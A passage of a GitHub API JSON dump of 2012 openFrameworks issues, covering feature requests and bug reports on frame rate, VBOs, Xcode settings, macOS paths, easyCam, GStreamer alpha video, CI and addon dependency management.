Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3850655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","id":167057},"id":3825582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","id":65011},"id":3813852,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872},"id":3812318,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872},"id":3812275,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","id":971079},"id":3807459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":3799872,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":3799653,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878},"id":3795495,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3754055,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3710293,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3662214,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","id":808090},"id":3647640,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033},"id":3631618,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon 